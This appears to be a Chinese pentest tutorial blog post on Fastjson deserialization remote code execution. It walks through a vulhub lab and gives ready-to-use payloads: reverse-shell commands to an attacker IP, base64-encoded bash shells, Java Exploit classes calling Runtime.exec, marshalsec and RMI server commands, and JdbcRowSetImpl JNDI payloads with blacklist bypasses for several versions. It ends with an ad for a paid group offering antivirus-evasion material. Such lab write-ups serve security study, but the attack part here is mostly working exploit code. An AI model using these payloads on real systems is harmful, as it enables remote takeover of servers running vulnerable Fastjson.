Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Fastjson <=1.2.24反序列化远程命令执行漏洞
Fastjson <=1.2.41反序列化远程命令执行漏洞
Fastjson <=1.2.42反序列化远程命令执行漏洞
Fastjson <=1.2.43反序列化远程命令执行漏洞
Fastjson <=1.2.45反序列化远程命令执行漏洞
Fastjson <=1.2.47反序列化远程命令执行漏洞
Fastjson <=1.2.62反序列化远程命令执行漏洞
Fastjson <=1.2.66反序列化远程命令执行漏洞
fastjson在解析json的过程中,支持使用auto Type来实例化某个具体的类,并调用该类的set/get方法来访问属性,通过查找代码中相关的方法,即可构造出一些恶意利用链。
fastjson于1.2.24版本后增加了反序列化的白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
json学习链接:https://www.runoob.com/json/json-tutorial.html
{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" },
{ "name":"google" , "url":"www.google.com" },
{ "name":"微博" , "url":"www.weibo.com" }
]
}
Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了Fastjson。
1、我们抓到包以后,首先将包改为POST。
2、这时候,我们需要改两处字段。
Content-Type: application/xxxx
原本的字段改为Content-Type: application/json
后面空一格,加上。
{
"name":"1"
}
3、然后,我们删除json格式包的一半,使其报错。
{
"name":"1
报错之后,很明显响应包里面出现了alibaba.fastjson的错误信息。
1、java.net.InetAddress这个类在实例化时会尝试作对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。
2、获取dnslog地址:http://dnslog.cn/
3、将地址复制到json包相应的位置。
{
"name":{
"@type":"java.net.InetAddress",
"val":"i1q73g.dnslog.cn"
}
}
进行发包。
4、DNSlog顺利回显。
1、JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下名称/目录服务:
RMI(Java远程方法调用)
LDAP(轻量级目录访问协议)
CORBA(公共对象请求代理体系结构)
DNS(域名服务)
1、RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机运行的程序可以调用远程服务器的对象。
1、这里我们使用的是vulhub靶场。
cd 1.2.47-rce/
docker-compose up -d
docker-compose config
2、接着我们访问漏洞页面:http://192.168.111.133:8090/
环境启动成功。
1、靶机IP:192.168.111.133
攻击机IP:192.168.111.129
2、下载利用工具。
下载链接:git clone https://github.com/wyzxxz/fastjson_rce_tool.git
3、利用工具启动RMI server
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"
java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"
如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。
4、反弹shell命令。
bash -i >& /dev/tcp/192.168.111.129/6666 0>&1
我们进行base64编码:http://www.jsons.cn/base64/
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
5、然后放入payload中执行。
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
利用JNDI注入加载远程RMI server上的字节码。
6、生成字节码文件步骤如下:
Exploit.java
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >& /dev/tcp/192.168.111.129/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
7、对Exploit.java文件进行编译。
javac Exploit.java
8、我们在攻击机开启监听。
nc -lvvp 6666
9、我们在Burp中复制payload,进行发包。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Object",
"autoCommit":true
}
}
10、成功得到shell。
注意,重新获得shell的话,需要删除.class文件,重新生成。
1、工具下载:https://github.com/mbechler/marshalsec
2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。
maven打包项目成jar包:
mvn clean package -DskipTests
2、攻击机开启RMI Server。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999
3、编写漏洞利用脚本Exploit.java。
//javac Exploit.java
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
4、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。
[python2]python2 -m SimpleHTTPServer
[python3]python3 -m http.server
5、攻击机开启2333端口监听,等待靶机将shell送上来。
nc -lvvp 2333
6、Burp攻击靶机。
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}
7、得到shell。
第一个Fastjson反序列化漏洞爆出以后,阿里在1.2.25版本设置了autoTypeSupport
属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的。
com.sun.rowset.jdbcRowSetlmpl
在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头,以";"结尾,是的话就提取出其中的类名在加载进来。
那么就可以构造如下exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true
阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单验证的方法,但是没有考虑到双写或者多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
在1.2.47版本及以下的情况下,loadClass默认cache为true,首先使用java.lang.Class
把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl
这个类,即可绕过黑名单。
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}
基于黑名单绕过,autoTypeSupport属性true才能使用,在1.2.25版本之后,autoTypeSupport默认为false。
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读